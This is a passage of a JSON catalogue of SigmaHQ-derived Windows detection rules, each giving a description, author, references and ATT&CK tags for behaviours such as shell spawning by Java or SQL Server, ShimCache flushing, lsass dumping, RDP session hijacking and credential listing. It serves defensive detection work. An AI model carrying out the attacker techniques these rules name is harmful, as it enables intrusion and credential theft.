"proc_creation_win_susp_shell_spawn_by_java.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java.yml" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ] - }, - "uuid": "0d34ed8b-1c12-4ff2-828c-16fc860b766d", - "value": "Suspicious Shells Spawned by Java" - }, - { - "description": "Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)", - "meta": { - "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/12/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_shell_spawn_by_java_keytool.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/intelligence-insights-december-2021", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java_keytool.yml", - "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ] - }, - "uuid": "90fb5e62-ca1f-4e22-b42e-cc521874c938", - "value": "Suspicious Shells Spawn by Java Utility Keytool" - }, - { - "description": "Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection", - "meta": { - "author": "FPT.EagleEye Team, wagga", - "creation_date": "2020/12/11", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_susp_shell_spawn_from_mssql.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_mssql.yml" - ], - "tags": [ - "attack.t1505.003", - "attack.t1190", - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ] - }, - "uuid": "869b9ca7-9ea2-4a5a-8325-e80e62f75445", - "value": "Suspicious Shells Spawn by SQL Server" - }, - { - "description": "Detects suspicious processes including shells spawnd from WinRM host process", - "meta": { - "author": "Andreas Hunkeler (@Karneades), Markus Neis", - "creation_date": "2021/05/20", - "falsepositive": [ - "Legitimate WinRM usage" - ], - "filename": "proc_creation_win_susp_shell_spawn_from_winrm.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_winrm.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ] - }, - "uuid": "5cc2cda8-f261-4d88-a2de-e9e193c86716", - "value": "Suspicious Processes Spawned by WinRM" - }, - { - "description": "Detects actions that clear the local ShimCache and remove forensic evidence", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/02/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_shimcache_flush.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@blueteamops/shimcache-flush-89daff28d15e", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shimcache_flush.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "b0524451-19af-4efa-a46f-562a977f792e", - "value": "ShimCache Flush" - }, - { - "description": "Use of the commandline to shutdown or reboot windows", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_shutdown.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shutdown.yml" - ], - "tags": [ - "attack.impact", - "attack.t1529" - ] - }, - "uuid": "34ebb878-1b15-4895-b352-ca2eeb99b274", - "value": "Suspicious Execution of Shutdown" - }, - { - "description": "Detects suspicious Splwow64.exe process without any command line parameters", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_splwow64.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_splwow64.yml", - "https://twitter.com/sbousseaden/status/1429401053229891590?s=12" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "1f1a8509-2cbb-44f5-8751-8e1571518ce2", - "value": "Suspicious Splwow64 Without Params" - }, - { - "description": "Detects suspicious print spool service (spoolsv.exe) child processes.", - "meta": { - "author": "Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)", - "creation_date": "2021/07/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_spoolsv_child_processes.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_spoolsv_child_processes.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "uuid": "dcdbc940-0bff-46b2-95f3-2d73f848e33b", - "value": "Suspicious Spool Service Child Process" - }, - { - "description": "Detects Possible Squirrel Packages Manager as Lolbin", - "meta": { - "author": "Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/11/12", - "falsepositive": [ - "1Clipboard", - "Beaker Browser", - "Caret", - "Collectie", - "Discord", - "Figma", - "Flow", - "Ghost", - "GitHub Desktop", - "GitKraken", - "Hyper", - "Insomnia", - "JIBO", - "Kap", - "Kitematic", - "Now Desktop", - "Postman", - "PostmanCanary", - "Rambox", - "Simplenote", - "Skype", - "Slack", - "SourceTree", - "Stride", - "Svgsus", - "WebTorrent", - "WhatsApp", - "WordPress.com", - "Atom", - "Gitkraken", - "Slack", - "Teams" - ], - "filename": "proc_creation_win_susp_squirrel_lolbin.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/", - "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_squirrel_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "fa4b21c9-0057-4493-b289-2556416ae4d7", - "value": "Squirrel Lolbin" - }, - { - "description": "Detects suspicious SSH tunnel port forwarding to a local port", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/12", - "falsepositive": [ - "Administrative activity using a remote port forwarding to a local port" - ], - "filename": "proc_creation_win_susp_ssh_port_forward.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_port_forward.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572", - "attack.lateral_movement", - "attack.t1021.001" - ] - }, - "uuid": "327f48c1-a6db-4eb8-875a-f6981f1b0183", - "value": "Suspicious SSH Port Forwarding" - }, - { - "description": "Execution of ssh.exe to perform data exfiltration and tunneling through RDP", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/12", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_ssh_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572" - ] - }, - "uuid": "f7d7ebd5-a016-46e2-9c54-f9932f2d386d", - "value": "Suspicious SSH Usage RDP Tunneling" - }, - { - "description": "Detects a suspicious svchost process start", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/08/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_svchost.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "uuid": "01d2e2a1-5f09-44f7-9fc1-24faa7479b6d", - "value": "Suspicious Svchost Process" - }, - { - "description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.", - "meta": { - "author": "David Burkett", - "creation_date": "2019/12/28", - "falsepositive": [ - "Rpcnet.exe / rpcnetp.exe which is a lojack style software. https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf" - ], - "filename": "proc_creation_win_susp_svchost_no_cli.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost_no_cli.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "16c37b52-b141-42a5-a3ea-bbe098444397", - "value": "Suspect Svchost Activity" - }, - { - "description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/06/22", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_sysprep_appdata.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b", - "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysprep_appdata.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "d5b9ae7a-e6fc-405e-80ff-2ff9dcc64e7e", - "value": "Sysprep on AppData Folder" - }, - { - "description": "Detects usage of the \"systeminfo\" command to retrieve information", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_systeminfo.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ] - }, - "uuid": "0ef56343-059e-4cb6-adc1-4c3c967c5e46", - "value": "Suspicious Execution of Systeminfo" - }, - { - "description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)", - "meta": { - "author": "Florian Roth (rule), David ANDRE (additional keywords)", - "creation_date": "2021/12/20", - "falsepositive": [ - "Administrative activity", - "Scripts and administrative tools used in the monitored environment", - "Monitoring activity" - ], - "filename": "proc_creation_win_susp_system_user_anomaly.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://tools.thehacker.recipes/mimikatz/modules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml", - "Internal Research" - ], - "tags": "No established tags" - }, - "uuid": "2617e7ed-adb7-40ba-b0f3-8f9945fe6c09", - "value": "Suspicious SYSTEM User Process Creation" - }, - { - "description": "Detects Access to Domain Group Policies stored in SYSVOL", - "meta": { - "author": "Markus Neis, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2018/04/09", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_sysvol_access.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml", - "https://adsecurity.org/?p=2288" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.006" - ] - }, - "uuid": "05f3c945-dcc8-4393-9f3d-af65077a8f86", - "value": "Suspicious SYSVOL Domain Group Policy Access" - }, - { - "description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders", - "meta": { - "author": "frack113", - "creation_date": "2022/01/30", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "filename": "proc_creation_win_susp_takeown.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_takeown.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.001" - ] - }, - "uuid": "554601fb-9b71-4bcc-abf4-21a611be4fde", - "value": "Suspicious Recursif Takeown" - }, - { - "description": "Detects shell32.dll executing a DLL in a suspicious directory", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/11/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_target_location_shell32.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_target_location_shell32.yml", - "https://www.group-ib.com/resources/threat-research/red-curl-2.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.011" - ] - }, - "uuid": "32b96012-7892-429e-b26c-ac2bf46066ff", - "value": "Shell32 DLL Execution in Suspicious Directory" - }, - { - "description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.", - "meta": { - "author": "frack113", - "creation_date": "2021/12/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_taskkill.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ] - }, - "uuid": "86085955-ea48-42a2-9dd3-85d4c36b167d", - "value": "Suspicious Execution of Taskkill" - }, - { - "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network", - "meta": { - "author": "frack113", - "creation_date": "2021/12/11", - "falsepositive": [ - "Administrator, hotline ask to user" - ], - "filename": "proc_creation_win_susp_tasklist_command.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tasklist_command.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist" - ], - "tags": [ - "attack.discovery", - "attack.t1057" - ] - }, - "uuid": "63332011-f057-496c-ad8d-d2b6afb27f96", - "value": "Suspicious Tasklist Discovery Command" - }, - { - "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/03/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_taskmgr_localsystem.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_localsystem.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "9fff585c-c33e-4a86-b3cd-39312079a65f", - "value": "Taskmgr as LOCAL_SYSTEM" - }, - { - "description": "Detects the creation of a process from Windows task manager", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/03/13", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_taskmgr_parent.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_parent.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "3d7679bd-0c00-440c-97b0-3f204273e6c7", - "value": "Taskmgr as Parent" - }, - { - "description": "This rule detects DLL injection and execution via LOLBAS - Tracker.exe", - "meta": { - "author": "Avneet Singh @v3t0_, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_tracker_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tracker_execution.yml", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ] - }, - "uuid": "148431ce-4b70-403d-8525-fcc2993f29ea", - "value": "DLL Injection with Tracker.exe" - }, - { - "description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/10", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_trolleyexpress_procdump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", - "https://www.youtube.com/watch?v=Ie831jF0bb0", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_trolleyexpress_procdump.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011", - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "4c0aaedc-154c-4427-ada0-d80ef9c9deb6", - "value": "Process Access via TrolleyExpress Exclusion" - }, - { - "description": "Detects a tscon.exe start as LOCAL SYSTEM", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/03/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_tscon_localsystem.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_localsystem.yml", - "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", - "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", - "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "9847f263-4a81-424f-970c-875dab15b79b", - "value": "Suspicious TSCON Start as SYSTEM" - }, - { - "description": "Detects a suspicious RDP session redirect using tscon.exe", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/03/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_tscon_rdp_redirect.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_rdp_redirect.yml", - "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", - "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1563.002", - "attack.t1021.001", - "car.2013-07-002" - ] - }, - "uuid": "f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb", - "value": "Suspicious RDP Redirect Using TSCON" - }, - { - "description": "Detects indicators of a UAC bypass method by mocking directories", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_uac_bypass_trustedpath.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_uac_bypass_trustedpath.yml", - "https://github.com/netero1010/TrustedPath-UACBypass-BOF", - "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", - "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548.002" - ] - }, - "uuid": "4ac47ed3-44c2-4b1f-9d51-bf46e8914126", - "value": "TrustedPath UAC Bypass Pattern" - }, - { - "description": "Detects a suspicious child process of userinit", - "meta": { - "author": "Florian Roth (rule), Samir Bousseaden (idea)", - "creation_date": "2019/06/17", - "falsepositive": [ - "Administrative scripts" - ], - "filename": "proc_creation_win_susp_userinit_child.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml", - "https://twitter.com/SBousseaden/status/1139811587760562176" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ] - }, - "uuid": "b655a06a-31c0-477a-95c2-3726b83d649d", - "value": "Suspicious Userinit Child Process" - }, - { - "description": "Detects the execution of CSharp interactive console by PowerShell", - "meta": { - "author": "Michael R. (@nahamike01)", - "creation_date": "2020/03/08", - "falsepositive": [ - "Possible depending on environment. Pair with other factors such as net connections, command-line args, etc." - ], - "filename": "proc_creation_win_susp_use_of_csharp_console.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_csharp_console.yml" - ], - "tags": [ - "attack.execution", - "attack.t1127" - ] - }, - "uuid": "a9e416a8-e613-4f8b-88b8-a7d1d1af2f61", - "value": "Suspicious Use of CSharp Interactive Console" - }, - { - "description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", - "meta": { - "author": "Agro (@agro_sev) oscd.community", - "creation_date": "2020/10/10", - "falsepositive": [ - "Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action." - ], - "filename": "proc_creation_win_susp_use_of_sqlps_bin.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", - "https://twitter.com/bryon_/status/975835709587075072", - "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqlps_bin.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "0152550d-3a26-4efd-9f0e-54a0b28ae2f3", - "value": "Detection of PowerShell Execution via Sqlps.exe" - }, - { - "description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", - "meta": { - "author": "Agro (@agro_sev) oscd.communitly", - "creation_date": "2020/10/13", - "falsepositive": [ - "Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action." - ], - "filename": "proc_creation_win_susp_use_of_sqltoolsps_bin.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqltoolsps_bin.yml", - "https://twitter.com/pabraeken/status/993298228840992768", - "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "a746c9b8-a2fb-4ee5-a428-92bee9e99060", - "value": "SQL Client Tools PowerShell Session Detection" - }, - { - "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n", - "meta": { - "author": "Agro (@agro_sev) oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "It's not an uncommon to use te.exe directly to execute legal TAEF tests" - ], - "filename": "proc_creation_win_susp_use_of_te_bin.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml", - "https://twitter.com/pabraeken/status/993298228840992768" - ], - "tags": [ - "attack.t1218" - ] - }, - "uuid": "634b00d5-ccc3-4a06-ae3b-0ec8444dd51b", - "value": "Malicious Windows Script Components File Execution by TAEF Detection" - }, - { - "description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger.\nThis option may be used adversaries to execute malicious code by signed verified binary.\nThe debugger is installed alongside with Microsoft Visual Studio package.\n", - "meta": { - "author": "Agro (@agro_sev), Ensar Şamil (@sblmsrsn), oscd.community", - "creation_date": "2020/10/14", - "falsepositive": [ - "The process spawned by vsjitdebugger.exe is uncommon." - ], - "filename": "proc_creation_win_susp_use_of_vsjitdebugger_bin.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/pabraeken/status/990758590020452353", - "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" - ], - "tags": [ - "attack.t1218", - "attack.defense_evasion" - ] - }, - "uuid": "15c7904e-6ad1-4a45-9b46-5fb25df37fd2", - "value": "Malicious PE Execution by Microsoft Visual Studio Debugger" - }, - { - "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe", - "meta": { - "author": "frack113", - "creation_date": "2022/04/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_vaultcmd.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vaultcmd.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ] - }, - "uuid": "58f50261-c53b-4c88-bd12-1d71f12eda4c", - "value": "Windows Credential Manager Access via VaultCmd" - }, - { - "description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file.\nThis allows to create values in the registry and install drivers.\nFor example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys\n", - "meta": { - "author": "Konstantin Grishchenko, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process" - ], - "filename": "proc_creation_win_susp_vboxdrvinst.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/pabraeken/status/993497996179492864", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vboxdrvinst.yml", - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml" - ], - 